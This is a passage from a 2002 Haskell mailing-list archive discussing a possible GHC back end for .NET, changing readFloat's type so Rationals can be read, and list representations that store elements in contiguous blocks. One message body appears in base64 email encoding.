<1113DDB24D4A2841951BFDF86665EE1901041FF2@RED-MSG-10.redmond.corp.microsoft.com> Message-ID: <20020601005623.A11709@hg.cs.mu.oz.au> On 31-May-2002, Simon Peyton-Jones wrote: > > General remarks about targetting .NET from GHC. > > * There is no reason in principle why one can't write a back end > for GHC to generate .NET IL. > > * Generating *verifiable* IL is noticeably harder: you have to > take much more care; to deal with parametric polymorphism you > need Generic IL, which isn't "out" yet; You don't _need_ Generic IL. You can deal with parametric polymorphism by translating polymorphic types to "System.Object". > and even then, higher kinded type variables are a serious problem. I think System.Object helps here too. > Being verifiable almost > certainly requires some runtime checked type casts, which hurt > performance -- and reducing them to a minimum complicates the > compiler. It's certainly true that being verifiable is likely to cost some performance. But I don't think it would be difficult to implement. For the Mercury compiler's .Net back-end, there's a --verifiable option which controls whether the generated IL code is verifiable or not. -- Fergus Henderson | "I have always known that the pursuit The University of Melbourne | of excellence is a lethal habit" WWW: | -- the last words of T. S. Garp. From dsyme@microsoft.com Fri May 31 16:05:18 2002 From: dsyme@microsoft.com (Don Syme) Date: Fri, 31 May 2002 08:05:18 -0700 Subject: [Fwd: F#] Message-ID: > GHC supports concurrency, exceptions, weak pointers, foreign calls, > etc, etc. All these need to be mapped onto .NET. ... GHC comes=20 > with a large collection of libraries of its own. These need to be=20 > still available in the .NET version. I don't really agree with these points. If someone tried to support all of this they'd be unlikely to appear out the other end of the swamp. Having actually tried both ways myself, I'd suggest that GHC is simply not the right starting point for a Haskell.NET compiler. Much better to start a fresh compiler, essentially from scratch, with a suitable selection of optimizations, language extensions, library features and interop extensions given the platform and kind of programming you're aiming to support. If you look at history successful compiler projects do not tend to some out of attempts to graft large code bases for alternative purposes (unless you've got loads of resources to throw at the problem). Cheers, Don -----Original Message----- From: Simon Peyton-Jones [mailto:simonpj@microsoft.com]=20 Sent: 31 May 2002 15:31 To: Don Syme; D. Tweed Cc: Paul Hudak; haskell Subject: RE: [Fwd: F#] | Idle curiosity: which aspects of the Haskell language are the=20 | ones that make it complicated -- e.g., long-time stuff like=20 | lazy evaluation, typeclasses & inferrence, etc or newer stuff=20 | like functional dependencies, etc or something else entirely=20 | -- and do they only make it complicated in the context of the=20 | .NET architecture or in any implementation? General remarks about targetting .NET from GHC. * There is no reason in principle why one can't write a back end for GHC to generate .NET IL. =20 * Generating *verifiable* IL is noticeably harder: you have to=20 take much more care; to deal with parametric polymorphism you need Generic IL, which isn't "out" yet; and even then, higher kinded type variables are a serious problem. Being verifiable almost=20 certainly requires some runtime checked type casts, which hurt performance -- and reducing them to a minimum complicates the compiler. * My conclusion: best plan is to generate unverifiable IL, and run it unverified. Situation is then just like an existing code generator: you have to trust the compiler. But it's fast and it's much simpler. * The resulting code will still run quite a bit slower than GHC-complied code. So why would anyone want to use it? Presumably, to get access to the .NET libraries. So that has to be very convenient. Tools are needed to read .NET library meta-data and generate impedence matching glue to make them easily callable from Haskell. Haskell needs some new 'foreign import' stuff to make it easy to call the libraries. There's a big design space here about how much to extend Haskell to make calling .NET convenient. * GHC supports concurrency, exceptions, weak pointers, foreign calls, etc, etc. All these need to be mapped onto .NET. Some might not fit well; for example, Concurrent Haskell assumes extremely lightweight concurrency, whereas .NET threads are OS threads; and asynchronous exceptions might be tricky too. * GHC comes with a large collection of libraries of its own. These need to be still available in the .NET version, so the .NET implementation of GHC needs to be pretty fully-featured (because the libraries use a lot of features). What all this means is that GHC.NET is a lot more than just a code generator. That is, I think, what Don meant when he said that GHC is complicated. (In our defence, it is the very fact that GHC is a rich system that makes it useful. Its complexity is not gratuitous.) =20 Part of my reason for writing this is to encourage anyone out there to take up the challenge. There's nothing too difficult -- it's "just work". Simon and I don't have immediate plans to do anything about this, but we'd be delighted if someone else did. Congratulations to Sigbjorn to doing a great job with Hugs. =20 Simon _______________________________________________ Haskell mailing list Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell From max630@mail.ru Fri May 31 17:45:26 2002 From: max630@mail.ru (Max Kirillov) Date: Fri, 31 May 2002 23:45:26 +0700 Subject: readFloat In-Reply-To: <1022706226.1490.12.camel@localhost.localdomain>; from wolfgang@jeltsch.net on Wed, May 29, 2002 at 11:10:44PM +0200 References: <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. <1022706226.1490.12.camel@localhost.localdomain> Message-ID: <20020531234526.A2752@max.home> So why one might need it? I've never used Rational, but, if asked, I would say that they are for exact representation of numbers (some symbolic calcs). On the other side, 'real' dotted numbers always represent some real values with finite accuracy. That's look like a bad idea to me to call Rational numbers 'real' and type (print) them as a decimal fraction (*). Further, one would like to treat Rational as not just a decimal fraction, but, for example, decimal fraction with a period -- 0.12(3). I think that (readFloat :: ReadS Rational) must not be in Reported libs. I anybody wants, let him declare > instance RealFloat Rational, taking all the responsibility. Muth better would be provide (maybe where is) a function > realToFrac :: RealFloat a, RealFrac b => a -> a -> b, > realToFrac x err = ... which would provide the shortest fractional approximation to a given 'real' number. Max. (*) Some school teachers like children to write solution of (4*x-3=0) as 0.75. I highly disagree with it. 3/4 is 3/4, but "0.75" is 0.75+-0.005 :) On Tuesday, 2002-05-28, 18:57, CEST Simon Peyton-Jones wrote: > Folks > > I'm back to tidying up the Haskell Report. > > In the Numeric library, there is the useful function > > readFloat :: RealFloat a => ReadS a > > But you can't use it for reading rationals, because Rational > isn't in RealFloat! > > This is a Royal Pain, and entirely unnecessary. In fact, > readFloat uses only operations from the RealFrac class, > so it could equally well have type > > readFloat :: RealFrac a => ReadS a > > I'm strongly inclined to make this change. It breaks no > programs, and it fixes a real bug i.e. there is no way to > read a "103" as a Rational. > > Simon From herrmann@fmi.uni-passau.de Fri May 31 18:23:45 2002 From: herrmann@fmi.uni-passau.de (Ch. A. Herrmann) Date: Fri, 31 May 2002 19:23:45 +0200 Subject: readFloat In-Reply-To: <20020531234526.A2752@max.home> References: <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. <1113DDB24D4A2841951BFDF86665EE1901041FC4@RED-MSG-10.redmond.corp.microsoft. <1022706226.1490.12.camel@localhost.localdomain> <20020531234526.A2752@max.home> Message-ID: <15607.45473.463118.583141@wagner.fmi.uni-passau.de> Hi Haskellers, >>>>> "Max" == Max Kirillov writes: Max> So why one might need it? I've never used Rational, but, if Max> asked, I would say that they are for exact representation of Max> numbers (some symbolic calcs). that's true. I'm using rationals intensively since a couple of years for this purpose and I'd like that they remain as exact as they are. Max> On the other side, 'real' dotted Max> numbers always represent some real values with finite Max> accuracy. I'm not sure if that always is the case, but there is the danger of confusion and this should be enough reason to be careful. Max> That's look like a bad idea to me to call Rational Max> numbers 'real' and type (print) them as a decimal fraction (*). Especially converting rationals to a string and back should always be the identity. It would be better to print rationals in the form numerator % denominator and read them in the same form. Surely, it's good to have flexibility in a programming language; but at critical points --and conversions between floating points (even if represented as strings) and rationals are such a point-- a programming language should demand explicit conversion. Cheers -- Christoph From C.Reinke@ukc.ac.uk Fri May 31 19:01:42 2002 From: C.Reinke@ukc.ac.uk (C.Reinke) Date: Fri, 31 May 2002 19:01:42 +0100 Subject: Lists representations (was: What does FP do well? (was ...)) In-Reply-To: Message from Jerzy Karczmarczuk of "Fri, 17 May 2002 10:00:41 +0200." <3CE4B8A9.CB2A26B@info.unicaen.fr> Message-ID: Long away and far ago (or something like that;), there was a discussion on Lists implemented as arrays rather than linked structures, during which Jerzy Karczmarczuk commented: > What bothers me quite strongly is the algorithmic side of operations > upon such objects. > > Typical iterations map- (or zip-) style: do something with the head, pass > recursively to the tail, would demand "intelligent" arrays, with the indexing > header detached from the bulk data itself. The "consumed" part could not be > garbage collected. In a lazy language this might possibly produce a considerable > amount of rubbish which otherwise would be destroyed quite fast. The > concatenation of (parts of) such lists might also have very bad behaviour. > > Can you calm my anxiety? > > Jerzy Karczmarczuk The reason I wanted to reply is that I can offer one data point on this. An even longer time ago, there were the various reduction systems developed in Kiel, implementing the Kiel Reduction Language KiR, a variant of Berkling's reduction languages (the Berkling pointed to in Backus' Turing Award Lecture). KiR lacked lots of useful features Haskell has, and Haskell's implementations still lack lots of useful features KiR's had. I dearly miss those features, but that is not the topic here (I don't know whether any of the systems still install or even run, but see the Manual at http://www.informatik.uni-kiel.de/~base/ for more info). The topic here was list representations. KiR's implementations moved from interpreted graph-reduction over compiled graph-reduction with a code interpreter to compiled graph-reduction with compilation via C, all more or less with the same high-level front end. All of these represented lists as vectors (KiR was dynamically and implicitly typed, btw), and the memory was divided into an area for fixed-size descriptors pointing to each other or into the second area, the heap, for variable-sized data blocks. The descriptor area was reference-counted and simply reused free space (most KiR variants were call-by-value), the other area needed memory compactification when space grew fragmented. A list's elements (or pointers to their descriptors) went into a contiguous block in the heap, and the descriptors made it possible to share subsequences of elements between different lists (descriptors were large enough to hold a pointer to the start of the sequence and its length). Quite as Jerzy suspected. Supported operations included both array and list operations, append required the allocation of a new heap block and copying of *both* lists, but was provided as a primitive (the standard approach for systems that started out as interpreters: a good mix of efficient primitives and interpreted user defined constructs). As others have pointed out, this looks rather inefficient, especially for longer lists, so when we set out to make measurements for a JFP paper [1], comparing with the likes of ghc, we expected to be beaten, but hoped to be not too far away, at least with the latest via-C implementation.. Benchmarks are always difficult, but especially so between so different languages: in KiR, we could easily and correctly execute programs that in Haskell, either wouldn't even compile, or wouldn't terminate, or wouldn't show any result (with similar problems the other way round). And after adapting to the common subset of algorithms, a translation to Haskell might mean that a complex program execution might return immediately, as the compiler and runtime system lazily determined that none of it was needed for the program output (compiled Haskell programs report almost no reduction results, only explicit program output, or show-able results). With all these preliminaries and caveats, and the standard disclaimer that all benchmarks are useless, but interesting, the relevant benchmark is the infamous "pretty quicksort" for some 4000 elements (qusort in the paper - lots of finite lists, traversals, fragments and appends, just like the typical Haskell program written without any concern for efficiency; Haskell programs concerned with efficiency tend to look rather different). To our astonishment, even the code interpreting implementation (which should otherwise be in the ballpark of Hugs) outperformed ghc, hbc, and Clean on this example (call-by-value also played a role: compiled sml was in the same area as compiled KiR, but both only slightly faster than code-interpreted KiR, so data representation and primitives seemed to play the main role). This prompted us to include Augustsson's sanitized variant of quicksort (qusortbin in the paper - from the hbc libs) as well, which gave the results everyone expected (it substantially modifies the algorithm to a profile better supported by the current list representation, e.g., no appends). [and before anyone accuses me of advocating functional quicksort: the naive quicksort is useless, and even the real one isn't the best choice in many cases;-] But the moral for the current discussion: a more intelligent list representation could have substantially more benefits for the average Haskell program than any compiler optimization twiddling, and I'd really like to see someone (PhD student?) investigating that topic seriously, as the answers are unlikely to be obvious. The representation chosen in the reduction systems could be a first hint, but as Jerzy points out, things may be more complicated in the context of Haskell. For comparison, Haskell array performance was somewhere between non-existent and terrible in those days (another clear win for both the compiled and the interpreted reduction systems) and has only recently improved somewhat. That needs to continue and, please, someone do the same for lists! Just my old 2 Pfennige (former currency;-), Claus [1] D. Gaertner, W. Kluge: pi-RED+: An Interactive Compiling Graph Reduction System for an Applied Lambda-Calculus Journal of Functional Programming, 6 (5), 1996. From reid@cs.utah.edu Fri May 31 19:55:19 2002 From: reid@cs.utah.edu (Alastair Reid) Date: 31 May 2002 19:55:19 +0100 Subject: Lists representations (was: What does FP do well? (was ...)) In-Reply-To: References: Message-ID: [copied to Zhong Shao and Cordelia Hall] > [snip - full text included at end] > > But the moral for the current discussion: a more intelligent list > representation could have substantially more benefits for the > average Haskell program than any compiler optimization twiddling, > and I'd really like to see someone (PhD student?) investigating that > topic seriously, as the answers are unlikely to be obvious. > > [snip] I vaguely remember Zhong Shao (Yale) and Cordelia Hall (Glasgow?) investigating list representations for ML and Haskell respectively. If I recall correctly (and I'm not sure I do), Zhong and Cordy were both looking at representations which merged adjacent Cons cells (roughly) like so: data List a = Nil | Cons1 a (List a) | Cons2 a a (List a) | Cons4 a a a a (List a) [This is very, very rough (if not downright wrong) - partly because I last saw this about 8 years ago and partly because I'm summarizing two different pieces of work.] Zhong's work [1] was in the context of a strict language (SML) which meant that you can know how long a list is as you are building it so you can use the Cons4 cells a lot. Cordy's work [2] was in the context of a lazy language (Haskell) which meant that you usually don't know the length of a list (if it is even finite) as you are building it. This requires a bit of cunningness to overcome. IIRC, the key part of that cunningness was that Cordy does the most interesting stuff near the tail of the list while Zhong does the most interesting things near the head of the list. Both implemented this partly by changing the representation and partly by changing the code their compiler generated. I think both used type inference as part of their compiler modification. -- Alastair Reid reid@cs.utah.edu http://www.cs.utah.edu/~reid/ [1] Shao, Zhong; Reppy, John H.; Appel, Andrew "Unrolling Lists" ACM Conference on Lisp and and Functional Programming, New York, June 1994. ACM Press. http://flint.cs.yale.edu/flint/publications/listrep.pdf [2] Hall, Cordelia V. "Using Hindley-Milner Type Inference to Optimise List Representation" ACM Conference on Lisp and Functional Programming, New York, June 1994. ACM Press. (not available online??) > Long away and far ago (or something like that;), there was a > discussion on Lists implemented as arrays rather than linked > structures, during which Jerzy Karczmarczuk commented: > > > What bothers me quite strongly is the algorithmic side of operations > > upon such objects. > > > > Typical iterations map- (or zip-) style: do something with the head, pass > > recursively to the tail, would demand "intelligent" arrays, with the indexing > > header detached from the bulk data itself. The "consumed" part could not be > > garbage collected. In a lazy language this might possibly produce a considerable > > amount of rubbish which otherwise would be destroyed quite fast. The > > concatenation of (parts of) such lists might also have very bad behaviour. > > > > Can you calm my anxiety? > > > > Jerzy Karczmarczuk > > The reason I wanted to reply is that I can offer one data point on > this. An even longer time ago, there were the various reduction > systems developed in Kiel, implementing the Kiel Reduction Language > KiR, a variant of Berkling's reduction languages (the Berkling > pointed to in Backus' Turing Award Lecture). KiR lacked lots of > useful features Haskell has, and Haskell's implementations still > lack lots of useful features KiR's had. I dearly miss those > features, but that is not the topic here (I don't know whether any > of the systems still install or even run, but see the Manual at > http://www.informatik.uni-kiel.de/~base/ for more info). > > The topic here was list representations. KiR's implementations moved > from interpreted graph-reduction over compiled graph-reduction with > a code interpreter to compiled graph-reduction with compilation via > C, all more or less with the same high-level front end. All of these > represented lists as vectors (KiR was dynamically and implicitly > typed, btw), and the memory was divided into an area for fixed-size > descriptors pointing to each other or into the second area, the > heap, for variable-sized data blocks. The descriptor area was > reference-counted and simply reused free space (most KiR variants > were call-by-value), the other area needed memory compactification > when space grew fragmented. > > A list's elements (or pointers to their descriptors) went into a > contiguous block in the heap, and the descriptors made it possible > to share subsequences of elements between different lists > (descriptors were large enough to hold a pointer to the start of the > sequence and its length). Quite as Jerzy suspected. Supported > operations included both array and list operations, append required > the allocation of a new heap block and copying of *both* lists, but > was provided as a primitive (the standard approach for systems that > started out as interpreters: a good mix of efficient primitives and > interpreted user defined constructs). > > As others have pointed out, this looks rather inefficient, > especially for longer lists, so when we set out to make measurements > for a JFP paper [1], comparing with the likes of ghc, we expected to > be beaten, but hoped to be not too far away, at least with the > latest via-C implementation.. > > Benchmarks are always difficult, but especially so between so > different languages: in KiR, we could easily and correctly execute > programs that in Haskell, either wouldn't even compile, or wouldn't > terminate, or wouldn't show any result (with similar problems the > other way round). And after adapting to the common subset of > algorithms, a translation to Haskell might mean that a complex > program execution might return immediately, as the compiler and > runtime system lazily determined that none of it was needed for the > program output (compiled Haskell programs report almost no reduction > results, only explicit program output, or show-able results). > > With all these preliminaries and caveats, and the standard > disclaimer that all benchmarks are useless, but interesting, the > relevant benchmark is the infamous "pretty quicksort" for some 4000 > elements (qusort in the paper - lots of finite lists, traversals, > fragments and appends, just like the typical Haskell program written > without any concern for efficiency; Haskell programs concerned with > efficiency tend to look rather different). > > To our astonishment, even the code interpreting implementation > (which should otherwise be in the ballpark of Hugs) outperformed > ghc, hbc, and Clean on this example (call-by-value also played a > role: compiled sml was in the same area as compiled KiR, but both > only slightly faster than code-interpreted KiR, so data representation > and primitives seemed to play the main role). This prompted us to > include Augustsson's sanitized variant of quicksort (qusortbin in > the paper - from the hbc libs) as well, which gave the results > everyone expected (it substantially modifies the algorithm to a > profile better supported by the current list representation, e.g., > no appends). [and before anyone accuses me of advocating functional > quicksort: the naive quicksort is useless, and even the real one > isn't the best choice in many cases;-] > > But the moral for the current discussion: a more intelligent list > representation could have substantially more benefits for the > average Haskell program than any compiler optimization twiddling, > and I'd really like to see someone (PhD student?) investigating that > topic seriously, as the answers are unlikely to be obvious. > > The representation chosen in the reduction systems could be a first > hint, but as Jerzy points out, things may be more complicated in the > context of Haskell. For comparison, Haskell array performance was > somewhere between non-existent and terrible in those days (another > clear win for both the compiled and the interpreted reduction > systems) and has only recently improved somewhat. That needs to > continue and, please, someone do the same for lists! > > Just my old 2 Pfennige (former currency;-), > Claus > > [1] D. Gaertner, W. Kluge: pi-RED+: An Interactive Compiling Graph > Reduction System for an Applied Lambda-Calculus > Journal of Functional Programming, 6 (5), 1996. From dsyme@microsoft.com Fri May 31 20:48:16 2002 From: dsyme@microsoft.com (Don Syme) Date: Fri, 31 May 2002 12:48:16 -0700 Subject: [Fwd: F#] Message-ID: SGkgTWFudWVsLA0KIA0KT25lIHBvaW50IGlzIHRoYXQgaW4gdGhlIGFic2VuY2Ugb2YgZXh0ZW5z aXZlIHB1cml0eSBhbm5vdGF0aW9ucyB0byBpbXBlcmF0aXZlIGxpYnJhcmllcyB5b3Ugd2lsbCBu ZWVkIHRvIHVzZSBtb25hZHMgZm9yIG9wZXJhdGlvbnMgdGhhdCBzaG91bGRuJ3QgbmVlZCB0aGVt LiAgSGF2aW5nIHRvIGFkZCB0aGUgYW5ub3RhdGlvbnMgY2VydGFpbmx5IGNvdW50cyBhcyBhIGNv bXBsaWNhdGlvbiBpbiBjb21wYXJpc29uIHRvIHdoYXQgbWFueSBvdGhlciBsYW5ndWFnZXMgaGF2 ZSB0byBkbyBvbiAuTkVULiAgDQogDQpBcyBmb3IgbW9uYWRzLCB0aGlzIGlzIGhhcmRseSB0aGUg cGxhY2UgdG8gZ28gaW50byBhbiBhcmd1bWVudCBhYm91dCB0aGVpciByZWxhdGl2ZSBtZXJpdHMg cmUuIGFsbCB0aG9zZSBzbGlnaHRseSBtb3JlIHdpZGVzcHJlYWQgYXBwcm9hY2hlcyB0byBpbXBl cmF0aXZlIHByb2dyYW1taW5nLiAgSWYgeW91IHRoaW5rIGRyaXZpbmcgaW1wZXJhdGl2ZSBsaWJy YXJpZXMgdXNpbmcgbW9uYWRzIHdpbGwgYmUgc28gZ3JlYXQgdGhlbiBhIEhhc2tlbGwuTkVUIHdv dWxkIGNlcnRhaW5seSBiZSBhIHBlcmZlY3QgcGxhY2UgdG8gdHJ5IG91dCB0aGF0IHRoZW9yeS4N CiANCkRvbg0KIA0KDQoJLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0gDQoJRnJvbTogTWFudWVs IE0uIFQuIENoYWtyYXZhcnR5IFttYWlsdG86Y2hha0Bjc2UudW5zdy5lZHUuYXVdIA0KCVNlbnQ6 IEZyaSAzMS4wNS4yMDAyIDAzOjI3IA0KCVRvOiBEb24gU3ltZSANCglDYzogdHdlZWRAY3MuYnJp cy5hYy51azsgcGF1bC5odWRha0B5YWxlLmVkdTsgaGFza2VsbEBoYXNrZWxsLm9yZyANCglTdWJq ZWN0OiBSRTogW0Z3ZDogRiNdDQoJDQoJDQoNCgkiRG9uIFN5bWUiIDxkc3ltZUBtaWNyb3NvZnQu Y29tPiB3cm90ZSwNCgkNCgk+IEFuZCBnZXR0aW5nIHRvcC1ub3RjaCBwZXJmb3JtYW5jZSBpcyBv YnZpb3VzbHkgYWx3YXlzIGEgaHVnZSBjaGFsbGVuZ2UNCgk+IGZvciBIYXNrZWxsLCBhbmQgeW91 IGNhbid0IHBsYXkgc29tZSBjb21tb24gaW1wbGVtZW50YXRpb24gdHJpY2tzIHdoZW4NCgk+IGNv bXBpbGluZyB0byBJTC4gIEJ1dCB0aGUgb25seSB0cnVseSBzZXJpb3VzIGNvbXBsaWNhdGlvbnMg YWRkZWQgYnkgLk5FVA0KCT4gaXRzZWxmIGFyZSAoYSkgdGhlIGdlbmVyYWwgcHJvYmxlbSBvZiBI YXNrZWxsIGludGVyb3Agd2l0aCBpbXBlcmF0aXZlDQoJPiBsaWJyYXJpZXMsIHJlcXVpcmluZyB5 b3UgdG8gcmVhY2ggZm9yIG1vbmFkcyBxdWl0ZSBvZnRlbiAob3IgdG8gd3JhcCB0aGUNCgk+IGxp YnJhcmllcyB5b3Vyc2VsZikNCglbLi5dDQoJPiBJTUhPIHByb2JsZW0gKGEpIHdpbGwgYWx3YXlz IGJlIHRoZSB0aGluZyB0aGF0IHN0b3BzIEhhc2tlbGwgYmVjb21pbmcNCgk+IHZlcnkgdmVyeSBi aWcuICBCdXQgdGhlbiBiZWluZyBub24taW1wZXJhdGl2ZSBpdCdzIGFsc28gaXRzIG1haW4gc2Vs bGluZw0KCT4gcG9pbnQuLi4NCgkNCglTbywgeW91IGFyZSBzYXlpbmcgdGhhdCBIYXNrZWxsJ3Mg cHJvYmxlbSB3aXRoIC5ORVQgaXMgdGhhdA0KCWl0IGlzIG5vdCBpbXBlcmF0aXZlLCBidXQgYXQg dGhlIHNhbWUgdGltZSB5b3UgZG9uJ3Qgd2FudCB0bw0KCXJlc29ydCB0byBIYXNrZWxsJ3MgaW1w ZXJhdGl2ZSBzdWJsYW5ndWFnZSAodGhlIElPIG1vbmFkKS4NCglJIGRvbid0IHF1aXRlIHVuZGVy c3RhbmQgdGhpcy4NCgkNCglQZXJzb25hbGx5LCBJIGZpbmRbMV0gSGFza2VsbCB0byBiZSB2ZXJ5 IHBsZWFzYW50IGZvcg0KCWltcGVyYXRpdmUgcHJvZ3JhbW1pbmcuICBJbiBmYWN0LCBJIGFncmVl IHdpdGggU1BKLCB3aG8NCgl3cm90ZVsyXSAoc2xpZ2h0bHkgcHJvdm9jYXRpdmVseSksIEhhc2tl bGwgaXMgdGhlIHdvcmxkJ3MNCglmaW5lc3QgaW1wZXJhdGl2ZSBwcm9ncmFtbWluZyBsYW5ndWFn ZS4NCgkNCglDaGVlcnMsDQoJTWFudWVsDQoJDQoJWzFdIEFmdGVyIGhhdmluZyB3cml0dGVuIHBp bGVzIG9mIGxvdy1sZXZlbCBpbXBlcmF0aXZlIGNvZGUNCgkgICAgaW4gSGFza2VsbC4NCgkNCglb Ml0gSW4gYGBUYWNrbGluZyB0aGUgQXdrd2FyZCBTcXVhZCcnDQoJDQoNCg== From pixel@mandrakesoft.com Fri May 31 22:50:16 2002 From: pixel@mandrakesoft.com (Pixel) Date: 31 May 2002 23:50:16 +0200 Subject: [Fwd: F#] In-Reply-To: References: Message-ID: "Don Syme" writes: > One point is that in the absence of extensive purity annotations to imperative > libraries you will need to use monads for operations that shouldn't need them. > Having to add the annotations certainly counts as a complication in comparison > to what many other languages have to do on .NET. am I wrong to think that would .NET had const'ness a la C++, purity annotations wouldn't be needed? hum, not really. const methods can still modify global state (but not object state)... but at least no need to annotate non-const methods :) off topic: On the subject of const'ness, I've been messing around with it. I've been quite surprised to discover that Java&C# do not have C++'s const (Java has "final" on parameters, but it is dumb) About this: http://merd.net/inoutness.html (beware, half of it is still investigations)
Scott